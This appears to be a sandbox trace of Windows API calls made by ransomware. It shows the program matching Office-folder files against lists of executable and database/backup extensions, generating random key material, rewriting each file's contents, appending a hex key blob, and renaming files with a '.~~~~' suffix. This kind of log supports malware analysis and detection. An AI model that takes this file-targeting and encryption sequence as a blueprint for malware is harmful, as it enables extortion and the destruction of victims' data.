	[0142.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".pif") returned 0x0
	[0142.394] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.396] lstrlenW (lpString=".sqb") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".sqb") returned 0x0
	[0142.396] lstrlenW (lpString=".ost") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".ost") returned 0x0
	[0142.396] lstrlenW (lpString=".txt") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".txt") returned 0x0
	[0142.396] lstrlenW (lpString=".mdt") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".mdt") returned 0x0
	[0142.396] lstrlenW (lpString=".BDB") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".BDB") returned 0x0
	[0142.396] lstrlenW (lpString=".eql") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".eql") returned 0x0
	[0142.396] lstrlenW (lpString=".DBF") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DBF") returned 0x0
	[0142.396] lstrlenW (lpString=".EQL") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".EQL") returned 0x0
	[0142.396] lstrlenW (lpString=".FDB") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".FDB") returned 0x0
	[0142.396] lstrlenW (lpString=".EDB") returned 4
	[0142.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".EDB") returned 0x0
	[0142.396] lstrlenW (lpString=".DACPAC") returned 7
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.397] lstrlenW (lpString=".VHD") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".VHD") returned 0x0
	[0142.397] lstrlenW (lpString=".DBV") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DBV") returned 0x0
	[0142.397] lstrlenW (lpString=".dacpac") returned 7
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.397] lstrlenW (lpString=".sdf") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".sdf") returned 0x0
	[0142.397] lstrlenW (lpString=".accdb") returned 6
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".accdb") returned 0x0
	[0142.397] lstrlenW (lpString=".DBX") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DBX") returned 0x0
	[0142.397] lstrlenW (lpString=".MDT") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".MDT") returned 0x0
	[0142.397] lstrlenW (lpString=".SQB") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".SQB") returned 0x0
	[0142.397] lstrlenW (lpString=".vhd") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".vhd") returned 0x0
	[0142.397] lstrlenW (lpString=".bac") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".bac") returned 0x0
	[0142.397] lstrlenW (lpString=".mdf") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".mdf") returned 0x0
	[0142.397] lstrlenW (lpString=".BAK") returned 4
	[0142.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".BAK") returned 0x0
	[0142.398] lstrlenW (lpString=".BAC") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".BAC") returned 0x0
	[0142.398] lstrlenW (lpString=".dbs") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".dbs") returned 0x0
	[0142.398] lstrlenW (lpString=".vhdx") returned 5
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.398] lstrlenW (lpString=".NDF") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".NDF") returned 0x0
	[0142.398] lstrlenW (lpString=".dat") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".dat") returned 0x0
	[0142.398] lstrlenW (lpString=".DBS") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DBS") returned 0x0
	[0142.398] lstrlenW (lpString=".CKP") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".CKP") returned 0x0
	[0142.398] lstrlenW (lpString=".edb") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".edb") returned 0x0
	[0142.398] lstrlenW (lpString=".PST") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".PST") returned 0x0
	[0142.398] lstrlenW (lpString=".dbf") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".dbf") returned 0x0
	[0142.398] lstrlenW (lpString=".SQL") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".SQL") returned 0x0
	[0142.398] lstrlenW (lpString=".pst") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".pst") returned 0x0
	[0142.398] lstrlenW (lpString=".dbv") returned 4
	[0142.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".dbv") returned 0x0
	[0142.398] lstrlenW (lpString=".SDF") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".SDF") returned 0x0
	[0142.399] lstrlenW (lpString=".dtxs") returned 5
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.399] lstrlenW (lpString=".db3") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".db3") returned 0x0
	[0142.399] lstrlenW (lpString=".OST") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".OST") returned 0x0
	[0142.399] lstrlenW (lpString=".dbx") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".dbx") returned 0x0
	[0142.399] lstrlenW (lpString=".DB3") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DB3") returned 0x0
	[0142.399] lstrlenW (lpString=".DAT") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DAT") returned 0x0
	[0142.399] lstrlenW (lpString=".VHDX") returned 5
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.399] lstrlenW (lpString=".ndf") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".ndf") returned 0x0
	[0142.399] lstrlenW (lpString=".DB") returned 3
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DB") returned 0x0
	[0142.399] lstrlenW (lpString=".sql") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".sql") returned 0x0
	[0142.399] lstrlenW (lpString=".MYD") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".MYD") returned 0x0
	[0142.399] lstrlenW (lpString=".DBT") returned 4
	[0142.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DBT") returned 0x0
	[0142.399] lstrlenW (lpString=".ACCDB") returned 6
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.400] lstrlenW (lpString=".fdb") returned 4
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".fdb") returned 0x0
	[0142.400] lstrlenW (lpString=".bak") returned 4
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".bak") returned 0x0
	[0142.400] lstrlenW (lpString=".myd") returned 4
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".myd") returned 0x0
	[0142.400] lstrlenW (lpString=".DTXS") returned 5
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.400] lstrlenW (lpString=".ckp") returned 4
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".ckp") returned 0x0
	[0142.400] lstrlenW (lpString=".dbt") returned 4
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".dbt") returned 0x0
	[0142.400] lstrlenW (lpString=".db") returned 3
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".db") returned 0x0
	[0142.400] lstrlenW (lpString=".TXT") returned 4
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".TXT") returned 0x0
	[0142.400] lstrlenW (lpString=".MDF") returned 4
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".MDF") returned 0x0
	[0142.400] lstrlenW (lpString=".bdb") returned 4
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".bdb") returned 0x0
	[0142.400] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.401] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.402] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.402] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.402] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26239264088) returned 1
	[0142.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe47e1f0, dwHighDateTime=0x1d60e1e)) 
	[0142.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fabd8
	[0142.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fabd8 | out: hHeap=0x300000) returned 1
	[0142.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9600
	[0142.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c68d8
	[0142.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9600 | out: hHeap=0x300000) returned 1
	[0142.403] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.404] GetLastError () returned 0x0
	[0142.404] GetLastError () returned 0x0
	[0142.404] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.404] GetLastError () returned 0x0
	[0142.404] GetLastError () returned 0x0
	[0142.405] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x2fc1, lpOverlapped=0x0) returned 1
	[0142.410] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd03f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.410] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2fc1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x2fc1, lpOverlapped=0x0) returned 1
	[0142.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.410] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.410] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.411] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.411] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.411] CloseHandle (hObject=0x138) returned 1
	[0142.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9018
	[0142.411] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif.~~~~")) returned 1
	[0142.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9018 | out: hHeap=0x300000) returned 1
	[0142.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.413] GetLastError () returned 0x0
	[0142.413] RtlWakeConditionVariable () returned 0x0
	[0142.413] GetCurrentThreadId () returned 0x9f4
	[0142.414] GetCurrentThreadId () returned 0x9f4
	[0142.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9408
	[0142.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a98a0 | out: hHeap=0x300000) returned 1
	[0142.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facb8 | out: hHeap=0x300000) returned 1
	[0142.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a98a0
	[0142.414] lstrlenW (lpString=".scr") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".scr") returned 0x0
	[0142.414] lstrlenW (lpString=".cmd") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".cmd") returned 0x0
	[0142.414] lstrlenW (lpString=".dll") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".dll") returned 0x0
	[0142.414] lstrlenW (lpString=".bat") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".bat") returned 0x0
	[0142.414] lstrlenW (lpString=".cpl") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".cpl") returned 0x0
	[0142.414] lstrlenW (lpString=".sys") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".sys") returned 0x0
	[0142.414] lstrlenW (lpString=".msc") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".msc") returned 0x0
	[0142.414] lstrlenW (lpString=".com") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".com") returned 0x0
	[0142.414] lstrlenW (lpString=".lnk") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".lnk") returned 0x0
	[0142.414] lstrlenW (lpString=".msp") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".msp") returned 0x0
	[0142.414] lstrlenW (lpString=".pif") returned 4
	[0142.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".pif") returned 0x0
	[0142.415] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.416] lstrlenW (lpString=".sqb") returned 4
	[0142.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".sqb") returned 0x0
	[0142.416] lstrlenW (lpString=".ost") returned 4
	[0142.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".ost") returned 0x0
	[0142.416] lstrlenW (lpString=".txt") returned 4
	[0142.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".txt") returned 0x0
	[0142.416] lstrlenW (lpString=".mdt") returned 4
	[0142.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".mdt") returned 0x0
	[0142.416] lstrlenW (lpString=".BDB") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".BDB") returned 0x0
	[0142.417] lstrlenW (lpString=".eql") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".eql") returned 0x0
	[0142.417] lstrlenW (lpString=".DBF") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DBF") returned 0x0
	[0142.417] lstrlenW (lpString=".EQL") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".EQL") returned 0x0
	[0142.417] lstrlenW (lpString=".FDB") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".FDB") returned 0x0
	[0142.417] lstrlenW (lpString=".EDB") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".EDB") returned 0x0
	[0142.417] lstrlenW (lpString=".DACPAC") returned 7
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.417] lstrlenW (lpString=".VHD") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".VHD") returned 0x0
	[0142.417] lstrlenW (lpString=".DBV") returned 4
	[0142.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF", lpSrch=".DBV") returned 0x0
